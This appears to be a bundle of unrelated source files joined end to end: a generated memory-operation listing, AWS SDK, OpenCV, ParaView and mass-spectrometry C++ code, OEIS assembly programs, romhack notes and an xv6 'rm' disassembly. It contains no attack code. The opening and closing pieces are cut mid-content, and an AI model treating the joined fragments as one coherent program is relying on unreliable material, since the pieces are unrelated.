False, 'type': 'addresses_D_ht', 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_normal_ht', 'same': True, 'AVXalign': False, 'congruent': 3}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 3}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 1}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 2}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 11}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 1}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 9}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 1}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 4}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': True, 'congruent': 1}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 10}} {'54': 20469} 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 */
/* * Copyright 2010-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ #include <aws/sagemaker/model/TrialComponentArtifact.h> #include <aws/core/utils/json/JsonSerializer.h> #include <utility> using namespace Aws::Utils::Json; using namespace Aws::Utils; namespace Aws { namespace SageMaker { namespace Model { TrialComponentArtifact::TrialComponentArtifact() : m_mediaTypeHasBeenSet(false), m_valueHasBeenSet(false) { } TrialComponentArtifact::TrialComponentArtifact(JsonView jsonValue) : m_mediaTypeHasBeenSet(false), m_valueHasBeenSet(false) { *this = jsonValue; } TrialComponentArtifact& TrialComponentArtifact::operator =(JsonView jsonValue) { if(jsonValue.ValueExists("MediaType")) { m_mediaType = jsonValue.GetString("MediaType"); m_mediaTypeHasBeenSet = true; } if(jsonValue.ValueExists("Value")) { m_value = jsonValue.GetString("Value"); m_valueHasBeenSet = true; } return *this; } JsonValue TrialComponentArtifact::Jsonize() const { JsonValue payload; if(m_mediaTypeHasBeenSet) { payload.WithString("MediaType", m_mediaType); } if(m_valueHasBeenSet) { payload.WithString("Value", m_value); } return payload; } } // namespace Model } // namespace SageMaker } // namespace Aws
#include "lab4.hpp" using namespace lab4; std::mutex Log::mtx_; Window::Window(std::string_view name) : name_{ name.data() } { cv::namedWindow(name.data(), cv::WINDOW_NORMAL | cv::WINDOW_KEEPRATIO | cv::WINDOW_GUI_EXPANDED); trckBarVals_.reserve(max_trckbar_num); // Reserve space for the maximum number of trackbars. } Window::~Window() { cv::destroyWindow(name_); } bool Window::addTrackBar(std::string_view name, int maxVal) { return addTrackBar(name, 0, maxVal); } bool Window::addTrackBar(std::string_view name, int startVal, int maxVal) { if (trckBarVals_.size() == max_trckbar_num) { Log::warn("Maximum number of trackbars reached."); return false; } if (startVal > maxVal) { Log::warn("Initial trackbar value too high. Setting it to 0."); startVal = 0; } int* valPtr{ &trckBarVals_.emplace_back(startVal) }; cv::createTrackbar( name.data(), name_, valPtr, maxVal, trckCallbck_, this ); return true; } std::vector<int> Window::fetchTrckVals() { /* Return the current values and reset the modification flag. */ trckModified_ = false; return trckBarVals_; } bool Window::modified() const { return trckModified_; } void Window::showImg(const cv::Mat& img) const { cv::imshow(name_, img); } void Window::trckCallbck_(int val, void* ptr) { Window* winPtr{ reinterpret_cast<Window*>(ptr) }; winPtr->trckModified_ = true; // Set the modification flag. }
/* * SumAbundanceAccumulator-test.cpp * * Copyright (C) 2011 Marc Kirchner * * This file is part of the Mass Spectrometry Toolkit (MSTK). * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #include <MSTK/config.hpp> #include "unittest.hxx" #include <MSTK/fe/types/Spectrum.hpp> #include <MSTK/fe/SumAbundanceAccumulator.hpp> #include <MSTK/common/Log.hpp> #include <iostream> #include <iomanip> using namespace mstk::fe; // // Accessor class for our spectrum type // struct SpectrumAccessor { double getAbundance(const Spectrum::Element& e) const { return e.abundance; } double getMz(const Spectrum::Element& e) const { return e.mz; } }; // // derive our own accumulator (essentially exposing the otherwise // protected interface). // class MyAccumulator : public SumAbundanceAccumulator { public: typedef Spectrum::const_iterator SSCI; MyAccumulator() : SumAbundanceAccumulator() { } double myMean(SSCI first, SSCI last) { return abundance(first, last); } }; struct SumAbundanceAccumulatorTestSuite : vigra::test_suite { SumAbundanceAccumulatorTestSuite() : vigra::test_suite("SumAbundanceAccumulator") { add(testCase(&SumAbundanceAccumulatorTestSuite::test)); } void test() { MyAccumulator a; { Spectrum ss; ss.push_back(SpectrumElement(400.0, 1.0)); ss.push_back(SpectrumElement(401.0, 2.0)); double ab = a.myMean(ss.begin(), ss.end()); shouldEqual(ab, 3.0); } { Spectrum ss; ss.push_back(SpectrumElement(401.0, 1.0)); ss.push_back(SpectrumElement(400.0, 2.0)); double ab = a.myMean(ss.begin(), ss.end()); shouldEqual(ab, 3.0); } } }; int main() { SumAbundanceAccumulatorTestSuite test; int success = test.run(); std::cout << test.report() << std::endl; return success; }
/*========================================================================= Program: ParaView Module: pqSelectionAdaptor.cxx Copyright (c) 2005-2008 Sandia Corporation, Kitware Inc. All rights reserved. ParaView is a free software; you can redistribute it and/or modify it under the terms of the ParaView license version 1.2. See License_v1.2.txt for the full ParaView license. A copy of this license can be obtained by contacting Kitware Inc. 28 Corporate Drive Clifton Park, NY 12065 USA THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. =========================================================================*/ #include "pqSelectionAdaptor.h" // Qt includes. #include <QAbstractProxyModel> #include <QPointer> #include <QSet> #include <QtDebug> // ParaView includes. #include "pqActiveObjects.h" #include "vtkSMProxy.h" #include "vtkSMProxySelectionModel.h" #include "vtkSmartPointer.h" //----------------------------------------------------------------------------- pqSelectionAdaptor::pqSelectionAdaptor(QItemSelectionModel* _parent) : QObject(_parent) , QSelectionModel(_parent) , IgnoreSignals(false) { QObject::connect(this->QSelectionModel, SIGNAL(selectionChanged(const QItemSelection&, const QItemSelection&)), this, SLOT(selectionChanged())); QObject::connect(this->QSelectionModel, SIGNAL(currentChanged(const QModelIndex&, const QModelIndex&)), this, SLOT(selectionChanged())); pqActiveObjects* ao = &pqActiveObjects::instance(); QObject::connect(ao, SIGNAL(portChanged(pqOutputPort*)), this, SLOT(currentProxyChanged())); QObject::connect( ao, SIGNAL(selectionChanged(const pqProxySelection&)), this, SLOT(proxySelectionChanged())); } //----------------------------------------------------------------------------- pqSelectionAdaptor::~pqSelectionAdaptor() { } //----------------------------------------------------------------------------- // Returns the QAbstractItemModel used by the QSelectionModel. // If QSelectionModel uses a QAbstractProxyModel, this method skips // over all such proxy models and returns the first non-proxy model // encountered. const QAbstractItemModel* pqSelectionAdaptor::getQModel() const { const QAbstractItemModel* model = this->getQSelectionModel()->model(); // Pass thru proxy models. const QAbstractProxyModel* proxyModel = qobject_cast<const QAbstractProxyModel*>(model); while (proxyModel) { model = proxyModel->sourceModel(); proxyModel = qobject_cast<const QAbstractProxyModel*>(model); } return model; } //----------------------------------------------------------------------------- QModelIndex pqSelectionAdaptor::mapToSource(const QModelIndex& inIndex) const { QModelIndex outIndex = inIndex; const QAbstractItemModel* model = this->getQSelectionModel()->model(); // Pass thru proxy models. const QAbstractProxyModel* proxyModel = qobject_cast<const QAbstractProxyModel*>(model); while (proxyModel) { outIndex = proxyModel->mapToSource(outIndex); model = proxyModel->sourceModel(); proxyModel = qobject_cast<const QAbstractProxyModel*>(model); } return outIndex; } //----------------------------------------------------------------------------- QModelIndex pqSelectionAdaptor::mapFromSource( const QModelIndex& inIndex, const QAbstractItemModel* model) const { const QAbstractProxyModel* proxyModel = qobject_cast<const QAbstractProxyModel*>(model); if (!proxyModel) { return inIndex; } return proxyModel->mapFromSource(this->mapFromSource(inIndex, proxyModel->sourceModel())); } //----------------------------------------------------------------------------- void pqSelectionAdaptor::selectionChanged() { if (this->IgnoreSignals) { return; } this->IgnoreSignals = true; QItemSelectionModel* qModel = this->QSelectionModel; pqProxySelection selection; const QModelIndexList& indexes = qModel->selection().indexes(); foreach (const QModelIndex& index, indexes) { pqServerManagerModelItem* item = this->mapToItem(this->mapToSource(index)); if (item) { selection.push_back(item); } } pqActiveObjects::instance().setSelection( selection, this->mapToItem(this->mapToSource(qModel->currentIndex()))); this->IgnoreSignals = false; } //----------------------------------------------------------------------------- void pqSelectionAdaptor::currentProxyChanged() { if (this->IgnoreSignals) { return; } this->IgnoreSignals = true; const QModelIndex& index = this->mapFromSource(this->mapFromItem(pqActiveObjects::instance().activePort()), this->getQSelectionModel()->model()); QItemSelectionModel::SelectionFlags command = QItemSelectionModel::NoUpdate; command |= QItemSelectionModel::Select; this->QSelectionModel->setCurrentIndex(index, command | this->qtSelectionFlags()); this->IgnoreSignals = false; } //----------------------------------------------------------------------------- void pqSelectionAdaptor::proxySelectionChanged() { if (this->IgnoreSignals) { return; } this->IgnoreSignals = true; QItemSelection qSelection; const pqProxySelection& selection = pqActiveObjects::instance().selection(); foreach (pqServerManagerModelItem* item, selection) { const QModelIndex& index = this->mapFromSource(this->mapFromItem(item), this->getQSelectionModel()->model()); qSelection.push_back(QItemSelectionRange(index)); } this->QSelectionModel->select( qSelection, QItemSelectionModel::ClearAndSelect | this->qtSelectionFlags()); this->IgnoreSignals = false; }
; A336483: Floor(n/10) + (5 times last digit of n). ; 0,5,10,15,20,25,30,35,40,45,1,6,11,16,21,26,31,36,41,46,2,7,12,17,22,27,32,37,42,47,3,8,13,18,23,28,33,38,43,48,4,9,14,19,24,29,34,39,44,49,5,10,15,20,25,30,35,40,45,50,6,11,16,21,26,31,36,41,46,51,7 add $0,366 mov $2,3 lpb $0 sub $0,1 mov $1,$0 sub $0,9 mul $1,5 add $2,1 lpe add $1,$2 sub $1,65
copyright zengfr site:http://github.com/zengfr/romhack 001678 move.w A0, -(A4) [base+32E] 00167A move.w A4, ($32e,A5) [base+5A8, base+5AA, base+5AC, base+5AE] 009034 tst.b (A1) [base+5A8, base+5AA, base+5AC, base+5AE] 009184 tst.b (A1) [base+5A8, base+5AA, base+5AC, base+5AE] 0092BA tst.b (A1) [base+5A8, base+5AA, base+5AC, base+5AE] 009AD8 tst.b (A1) [base+5A8, base+5AA, base+5AC, base+5AE] 009CEC tst.b (A0) [base+5A8, base+5AA, base+5AC, base+5AE] copyright zengfr site:http://github.com/zengfr/romhack
; A060226: a(n) = n^n - n*(n-1)^(n-1). ; 1,0,2,15,148,1845,27906,496951,10188872,236425545,6125795110,175311670611,5492360400924,186965800764925,6871755333266474,271213787997489135,11440441827615801616,513645612633274386705,24456083361342475820238,1230837902229679375190923,65289206886793728217520420,3640577418385982521381124421,212890962959727941926261986322,13027626820470862214232158268135,832604544853934235624560682990168,55474447548755420122663496626171225,3846855688986831706715520418771297526 mov $2,$0 sub $2,1 pow $2,$2 mul $2,$0 pow $0,$0 sub $0,$2
; A032169: Number of aperiodic necklaces of n beads of 2 colors, 11 of them black. ; 1,6,26,91,273,728,1768,3978,8398,16796,32065,58786,104006,178296,297160,482885,766935,1193010,1820910,2731365,4032015,5864749,8414640,11920740,16689036,23107896,31666376,42975796 add $0,11 mov $2,10 mov $3,$0 lpb $0 mov $0,7 mov $1,$3 bin $1,$2 mul $1,6 div $1,11 lpe mul $1,2 sub $1,12 div $1,12 add $1,1
_rm: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 53 push %ebx e: 51 push %ecx f: 83 ec 10 sub $0x10,%esp 12: 89 cb mov %ecx,%ebx int i; if(argc < 2){ 14: 83 3b 01 cmpl $0x1,(%ebx) 17: 7f 17 jg 30 <main+0x30> printf(2, "Usage: rm files...\n"); 19: 83 ec 08 sub $0x8,%esp 1c: 68 27 09 00 00 push $0x927 21: 6a 02 push $0x2 23: e8 49 05 00 00 call 571 <printf> 28: 83 c4 10 add $0x10,%esp exit(); 2b: e8 8a 03 00 00 call 3ba <exit> } for(i = 1; i < argc; i++){ 30: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp) 37: eb 4b jmp 84 <main+0x84> if(unlink(argv[i]) < 0){ 39: 8b 45 f4 mov -0xc(%ebp),%eax 3c: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 43: 8b 43 04 mov 0x4(%ebx),%eax 46: 01 d0 add %edx,%eax 48: 8b 00 mov (%eax),%eax 4a: 83 ec 0c sub $0xc,%esp 4d: 50 push %eax 4e: e8 b7 03 00 00 call 40a <unlink> 53: 83 c4 10 add $0x10,%esp 56: 85 c0 test %eax,%eax 58: 79 26 jns 80 <main+0x80> printf(2, "rm: %s failed to delete\n", argv[i]); 5a: 8b 45 f4 mov -0xc(%ebp),%eax 5d: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 64: 8b 43 04 mov 0x4(%ebx),%eax 67: 01 d0 add %edx,%eax 69: 8b 00 mov (%eax),%eax 6b: 83 ec 04 sub $0x4,%esp 6e: 50 push %eax 6f: 68 3b 09 00 00 push $0x93b 74: 6a 02 push $0x2 76: e8 f6 04 00 00 call 571 <printf> 7b: 83 c4 10 add $0x10,%esp break; 7e: eb 0b jmp 8b <main+0x8b> if(argc < 2){ printf(2, "Usage: rm files...\n"); exit(); } for(i = 1; i < argc; i++){ 80: 83 45 f4 01 addl $0x1,-0xc(%ebp) 84: 8b 45 f4 mov -0xc(%ebp),%eax 87: 3b 03 cmp (%ebx),%eax 89: 7c ae jl 39 <main+0x39> printf(2, "rm: %s failed to delete\n", argv[i]); break; } } exit(); 8b: e8 2a 03 00 00 call 3ba <exit> 00000090 <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 90: 55 push %ebp 91: 89 e5 mov %esp,%ebp 93: 57 push %edi 94: 53 push %ebx asm volatile("cld; rep stosb" : 95: 8b 4d 08 mov 0x8(%ebp),%ecx 98: 8b 55 10 mov 0x10(%ebp),%edx 9b: 8b 45 0c mov 0xc(%ebp),%eax 9e: 89 cb mov %ecx,%ebx a0: 89 df mov %ebx,%edi a2: 89 d1 mov %edx,%ecx a4: fc cld a5: f3 aa rep stos %al,%es:(%edi) a7: 89 ca mov %ecx,%edx a9: 89 fb mov %edi,%ebx ab: 89 5d 08 mov %ebx,0x8(%ebp) ae: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } b1: 90 nop b2: 5b pop %ebx b3: 5f pop %edi b4: 5d pop %ebp b5: c3 ret 000000b6 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { b6: 55 push %ebp b7: 89 e5 mov %esp,%ebp b9: 83 ec 10 sub $0x10,%esp char *os; os = s; bc: 8b 45 08 mov 0x8(%ebp),%eax bf: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) c2: 90 nop c3: 8b 45 08 mov 0x8(%ebp),%eax c6: 8d 50 01 lea 0x1(%eax),%edx c9: 89 55 08 mov %edx,0x8(%ebp) cc: 8b 55 0c mov 0xc(%ebp),%edx cf: 8d 4a 01 lea 0x1(%edx),%ecx d2: 89 4d 0c mov %ecx,0xc(%ebp) d5: 0f b6 12 movzbl (%edx),%edx d8: 88 10 mov %dl,(%eax) da: 0f b6 00 movzbl (%eax),%eax dd: 84 c0 test %al,%al df: 75 e2 jne c3 <strcpy+0xd> ; return os; e1: 8b 45 fc mov -0x4(%ebp),%eax } e4: c9 leave e5: c3 ret 000000e6 <strcmp>: int strcmp(const char *p, const char *q) { e6: 55 push %ebp e7: 89 e5 mov %esp,%ebp while(*p && *p == *q) e9: eb 08 jmp f3 <strcmp+0xd> p++, q++; eb: 83 45 08 01 addl $0x1,0x8(%ebp) ef: 83 45 0c 01 addl $0x1,0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) f3: 8b 45 08 mov 0x8(%ebp),%eax f6: 0f b6 00 movzbl (%eax),%eax f9: 84 c0 test %al,%al fb: 74 10 je 10d <strcmp+0x27> fd: 8b 45 08 mov 0x8(%ebp),%eax 100: 0f b6 10 movzbl (%eax),%edx 103: 8b 45 0c mov 0xc(%ebp),%eax 106: 0f b6 00 movzbl (%eax),%eax 109: 38 c2 cmp %al,%dl 10b: 74 de je eb <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; 10d: 8b 45 08 mov 0x8(%ebp),%eax 110: 0f b6 00 movzbl (%eax),%eax 113: 0f b6 d0 movzbl %al,%edx 116: 8b 45 0c mov 0xc(%ebp),%eax 119: 0f b6 00 movzbl (%eax),%eax 11c: 0f b6 c0 movzbl %al,%eax 11f: 29 c2 sub %eax,%edx 121: 89 d0 mov %edx,%eax } 123: 5d pop %ebp 124: c3 ret 00000125 <strlen>: uint strlen(char *s) { 125: 55 push %ebp 126: 89 e5 mov %esp,%ebp 128: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 12b: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 132: eb 04 jmp 138 <strlen+0x13> 134: 83 45 fc 01 addl $0x1,-0x4(%ebp) 138: 8b 55 fc mov -0x4(%ebp),%edx 13b: 8b 45 08 mov 0x8(%ebp),%eax 13e: 01 d0 add %edx,%eax 140: 0f b6 00 movzbl (%eax),%eax 143: 84 c0 test %al,%al 145: 75 ed jne 134 <strlen+0xf> ; return n; 147: 8b 45 fc mov -0x4(%ebp),%eax } 14a: c9 leave 14b: c3 ret 0000014c <memset>: void* memset(void *dst, int c, uint n) { 14c: 55 push %ebp 14d: 89 e5 mov %esp,%ebp stosb(dst, c, n); 14f: 8b 45 10 mov 0x10(%ebp),%eax 152: 50 push %eax 153: ff 75 0c pushl 0xc(%ebp) 156: ff 75 08 pushl 0x8(%ebp) 159: e8 32 ff ff ff call 90 <stosb> 15e: 83 c4 0c add $0xc,%esp return dst; 161: 8b 45 08 mov 0x8(%ebp),%eax } 164: c9 leave 165: c3 ret 00000166 <strchr>: char* strchr(const char *s, char c) { 166: 55 push %ebp 167: 89 e5 mov %esp,%ebp 169: 83 ec 04 sub $0x4,%esp 16c: 8b 45 0c mov 0xc(%ebp),%eax 16f: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 172: eb 14 jmp 188 <strchr+0x22> if(*s == c) 174: 8b 45 08 mov 0x8(%ebp),%eax 177: 0f b6 00 movzbl (%eax),%eax 17a: 3a 45 fc cmp -0x4(%ebp),%al 17d: 75 05 jne 184 <strchr+0x1e> return (char*)s; 17f: 8b 45 08 mov 0x8(%ebp),%eax 182: eb 13 jmp 197 <strchr+0x31> } char* strchr(const char *s, char c) { for(; *s; s++) 184: 83 45 08 01 addl $0x1,0x8(%ebp) 188: 8b 45 08 mov 0x8(%ebp),%eax 18b: 0f b6 00 movzbl (%eax),%eax 18e: 84 c0 test %al,%al 190: 75 e2 jne 174 <strchr+0xe> if(*s == c) return (char*)s; return 0; 192: b8 00 00 00 00 mov $0x0,%eax } 197: c9 leave 198: c3 ret 00000199 <gets>: char* gets(char *buf, int max) { 199: 55 push %ebp 19a: 89 e5 mov %esp,%ebp 19c: 83 ec 18 sub $0x18,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 19f: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 1a6: eb 42 jmp 1ea <gets+0x51> cc = read(0, &c, 1); 1a8: 83 ec 04 sub $0x4,%esp 1ab: 6a 01 push $0x1 1ad: 8d 45 ef lea -0x11(%ebp),%eax 1b0: 50 push %eax 1b1: 6a 00 push $0x0 1b3: e8 1a 02 00 00 call 3d2 <read> 1b8: 83 c4 10 add $0x10,%esp 1bb: 89 45 f0 mov %eax,-0x10(%ebp) if(cc < 1) 1be: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 1c2: 7e 33 jle 1f7 <gets+0x5e> break; buf[i++] = c; 1c4: 8b 45 f4 mov -0xc(%ebp),%eax 1c7: 8d 50 01 lea 0x1(%eax),%edx 1ca: 89 55 f4 mov %edx,-0xc(%ebp) 1cd: 89 c2 mov %eax,%edx 1cf: 8b 45 08 mov 0x8(%ebp),%eax 1d2: 01 c2 add %eax,%edx 1d4: 0f b6 45 ef movzbl -0x11(%ebp),%eax 1d8: 88 02 mov %al,(%edx) if(c == '\n' || c == '\r') 1da: 0f b6 45 ef movzbl -0x11(%ebp),%eax 1de: 3c 0a cmp $0xa,%al 1e0: 74 16 je 1f8 <gets+0x5f> 1e2: 0f b6 45 ef movzbl -0x11(%ebp),%eax 1e6: 3c 0d cmp $0xd,%al 1e8: 74 0e je 1f8 <gets+0x5f> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1ea: 8b 45 f4 mov -0xc(%ebp),%eax 1ed: 83 c0 01 add $0x1,%eax 1f0: 3b 45 0c cmp 0xc(%ebp),%eax 1f3: 7c b3 jl 1a8 <gets+0xf> 1f5: eb 01 jmp 1f8 <gets+0x5f> cc = read(0, &c, 1); if(cc < 1) break; 1f7: 90 nop buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 1f8: 8b 55 f4 mov -0xc(%ebp),%edx 1fb: 8b 45 08 mov 0x8(%ebp),%eax 1fe: 01 d0 add %edx,%eax 200: c6 00 00 movb $0x0,(%eax) return buf; 203: 8b 45 08 mov 0x8(%ebp),%eax } 206: c9 leave 207: c3 ret 00000208 <stat>: int stat(char *n, struct stat *st) { 208: 55 push %ebp 209: 89 e5 mov %esp,%ebp 20b: 83 ec 18 sub $0x18,%esp int fd; int r; fd = open(n, O_RDONLY); 20e: 83 ec 08 sub $0x8,%esp 211: 6a 00 push $0x0 213: ff 75 08 pushl 0x8(%ebp) 216: e8 df 01 00 00 call 3fa <open> 21b: 83 c4 10 add $0x10,%esp 21e: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0) 221: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 225: 79 07 jns 22e <stat+0x26> return -1; 227: b8 ff ff ff ff mov $0xffffffff,%eax 22c: eb 25 jmp 253 <stat+0x4b> r = fstat(fd, st); 22e: 83 ec 08 sub $0x8,%esp 231: ff 75 0c pushl 0xc(%ebp) 234: ff 75 f4 pushl -0xc(%ebp) 237: e8 d6 01 00 00 call 412 <fstat> 23c: 83 c4 10 add $0x10,%esp 23f: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 242: 83 ec 0c sub $0xc,%esp 245: ff 75 f4 pushl -0xc(%ebp) 248: e8 95 01 00 00 call 3e2 <close> 24d: 83 c4 10 add $0x10,%esp return r; 250: 8b 45 f0 mov -0x10(%ebp),%eax } 253: c9 leave 254: c3 ret 00000255 <atoi>: int atoi(const char *s) { 255: 55 push %ebp 256: 89 e5 mov %esp,%ebp 258: 83 ec 10 sub $0x10,%esp int n, sign; n = 0; 25b: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while (*s == ' ') s++; 262: eb 04 jmp 268 <atoi+0x13> 264: 83 45 08 01 addl $0x1,0x8(%ebp) 268: 8b 45 08 mov 0x8(%ebp),%eax 26b: 0f b6 00 movzbl 